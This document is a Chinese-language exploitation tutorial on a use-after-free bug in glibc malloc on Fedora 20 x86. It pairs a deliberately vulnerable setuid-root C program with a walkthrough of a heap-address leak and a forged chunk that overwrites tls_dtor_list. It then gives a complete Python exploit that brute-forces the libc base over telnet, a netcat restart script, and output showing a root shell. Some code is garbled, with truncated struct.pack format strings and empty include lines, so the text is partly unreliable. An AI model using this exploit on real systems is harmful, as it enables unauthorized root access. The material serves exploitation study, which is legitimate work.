Linux x86 漏洞利用-Use-After-Free(UAF)-释放后可重用

Use-After-Free

先决条件

  1. Off-By-One漏洞(基于堆)
  2. 理解glibc malloc

VM设置:Fedora 20(x86)

什么是释放后可重用(UaF)?

继续使用已经释放的堆内存指针称为use-after-free bug !! 此错误可能导致任意代码执行。

易受攻击的代码:

#include 
#include 
#include 
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)

int main(int argc, char **argv) {

 char* name = malloc(12); /* [1] */
 char* details = malloc(12); /* [2] */
 strncpy(name, argv[1], 12-1); /* [3] */
 free(details); /* [4] */
 free(name);  /* [5] */
 printf("Welcome %s\n",name); /* [6] */
 fflush(stdout);

 char* tmp = (char *) malloc(12); /* [7] */
 char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
 char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
 free(p2); /* [10] */
 char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
 char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */

 printf("Enter your region\n");
 fflush(stdout);
 read(0,p2,BUFSIZE1-1); /* [13] */
 printf("Region:%s\n",p2); 
 free(p1); /* [14] */
}

编译命令

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

注意:与之前的帖子不同,ASLR在此处打开。所以现在让我们利用一个UaF错误,并且自从ASLR打开后,让我们使用信息泄漏和强力技术绕过它。
以上易受攻击的代码在行[6]和[13]中包含两个use-after-free的错误。它们各自的堆存储器在行[5]和[10]中被释放,但它们的指针在行[6]和[13]中即使在释放之后也被使用了!行[6]的UaF导致信息泄漏,而行[13]的UaF导致任意代码执行。

什么是信息泄漏?攻击者如何利用它?

在我们易受攻击的代码中(在第[6]行),泄露的信息是堆地址。这个泄漏的堆地址将帮助攻击者轻松计算随机堆段的基地址,从而击败ASLR!
要了解堆地址是如何泄露的,让我们先了解易受攻击代码的前半部分。

  • 行[1]为’name’分配一个16字节的堆内存区域。
  • 行[2]为’details’分配一个16字节的堆内存区域。
  • 行[3]将程序参数1(argv[1])复制到堆内存区域’name’中。
  • 行[4]和[5]将堆内存区域’name’和’details’释放回glibc malloc。
  • 行[6]的printf在释放后使用’name’指针,这会导致堆地址泄漏。

读过的先决条件后,我们知道,块对应于"name"和"details"指针快速块,当这些快速块被释放,它们会存储在索引为零的快速箱。我们还知道每个快速箱包含一个空闲块的链表。因此,根据我们的示例,快速箱索引为零的单个链表如下所示:

main_arena.fastbinsY[0] --->'name_chunk_address'--->'details_chunk_address'---> NULL

由于这种单一链接,'name’的前四个字节包含’details_chunk’地址。因此,当’name’被打印时,首先打印’details chunk’地址。从堆布局我们知道’details chunk’位于距离堆基址的偏移量0x10处。因此从泄漏的堆地址中减去0x10,给我们堆基址!

如何实现任意代码执行?

现在已经获得了随机堆段的基地址,让我们看看如何通过理解易受攻击代码的后半部分来实现任意代码执行。

  • 行[7]为’tmp’分配一个16字节的堆内存区域。
  • 行[8]为’p1’分配1024字节的堆内存区域。
  • 行[9]为’p2’分配1024字节的堆内存区域。
  • 行[10]将堆内存区域’p2’释放回glibc malloc。
  • 行[11]为’p2_1’分配512字节堆内存区域。
  • 行[12]为’p2_2’分配512字节的堆内存区域。
  • 行[13]的read在释放后使用’p2’指针。
  • 行[14]将堆内存区域’p1’释放回glibc malloc,这会在程序退出时导致任意代码执行。

在阅读了先决条件后,我们知道当’p2’被释放到glibc malloc时,它会被整合到顶部块中。稍后当为’p2_1’请求内存时,它从顶部块分配 - 'p2’和’p2_1’包含相同的堆地址。此外,当为’p2_2’请求内存时,它从顶部块分配 - 'p2_2’与’p2’相距512字节。因此,当在行[13]中空闲后使用’p2’指针时,攻击者控制的数据(最大1019字节)被复制到p2_1,其大小仅为512字节,因此剩余的攻击者数据将覆盖下一个块“p2_2”,允许攻击者覆盖下一个块头的大小字段!!

堆布局

Linux x86 漏洞利用-Use-After-Free(UAF)-释放后可重用_第1张图片
正如在这个先决条件中所看到的,如果攻击者能够成功覆盖下一个块大小字段的LSB,即使它处于已分配状态,他也可以欺骗glibc malloc取消链接块“p2_1”。同样在同一篇文章中,我们看到,当攻击者精心制作假块头时,取消链接处于已分配状态的大块可导致任意代码执行!攻击者构造假块头,如下所示:

  • fd应该指向释放的块地址。从堆布局中我们发现’p2_1’位于偏移0x410处。因此fd = heap_base_address(从信息泄漏bug获得)+ 0x410。
  • bk也应该指向释放的块地址。从堆布局中我们发现’p2_1’位于偏移0x410处。因此fd = heap_base_address(从信息泄漏bug获得)+ 0x410。
  • fd_nextsize应指向tls_dtor_list - 0x14。'tls_dtor_list’属于glibc的私有匿名映射段,它是随机的。因此,为了打败这种随机化,我们可以使用暴力技术,如下面的漏洞利用代码所示。
  • bk_nextsize应该指向包含dtor_list元素的堆地址!'system’dtor_list由攻击者在这个假的块头之后注入,而’setuid’dtor_list由攻击者注入,代替’p2_2’堆内存区域。从堆布局我们知道’system’和setuid’dtor_list’分别位于偏移量0x428和0x618。

有了所有这些信息,让我们编写一个漏洞程序来攻击易受攻击的二进制文件’vuln’!!

漏洞利用代码:

#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time

ip = '127.0.0.1'
port = 1234

def conv(num): return struct.pack(", num)

def send(data):
 global con
 con.write(data)
 return con.read_until('\n')

print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0

while True:
 time.sleep(4)
 con = telnetlib.Telnet(ip, port)
 laddress = con.read_until('\n')
 laddress = laddress[8:12]
 heap_addr_tup = struct.unpack(", laddress)
 heap_addr = heap_addr_tup[0]
 print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
 heap_base_addr = heap_addr - 0x10
 fd = heap_base_addr + 0x410
 bk = fd
 bk_nextsize = heap_base_addr + 0x618
 mp = heap_base_addr + 0x18
 nxt = heap_base_addr + 0x428

 print "** Constructing fake chunk to overwrite tls_dtor_list**"
 fake_chunk = conv(fd)
 fake_chunk += conv(bk)
 fake_chunk += conv(fd_nextsize)
 fake_chunk += conv(bk_nextsize)
 fake_chunk += conv(system)
 fake_chunk += conv(system_arg)
 fake_chunk += "A" * 484
 fake_chunk += conv(size)
 fake_chunk += conv(setuid)
 fake_chunk += conv(setuid_arg)
 fake_chunk += conv(mp)
 fake_chunk += conv(nxt)
 print "** Successful tls_dtor_list overwrite gives us shell!!**"
 send(fake_chunk)

 try: 
  con.interact()
 except: 
  exit(0)

因为在暴力技术中我们需要多次尝试(直到我们成功)让我们将易受攻击的二进制“vuln”作为网络服务器运行并使用shell脚本让我们确保它在崩溃时自动重启!

#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
 if [[ -z $nc_process_id ]]; then
 echo "(Re)starting nc..."
 nc -l -p 1234 -c "./vuln sploitfun"
 else
 echo "nc is running..."
 fi
done

执行上面的漏洞代码给我们root shell !! 答对了!!

Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$

参考:

  • Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution

你可能感兴趣的:(Linux,x86,漏洞利用)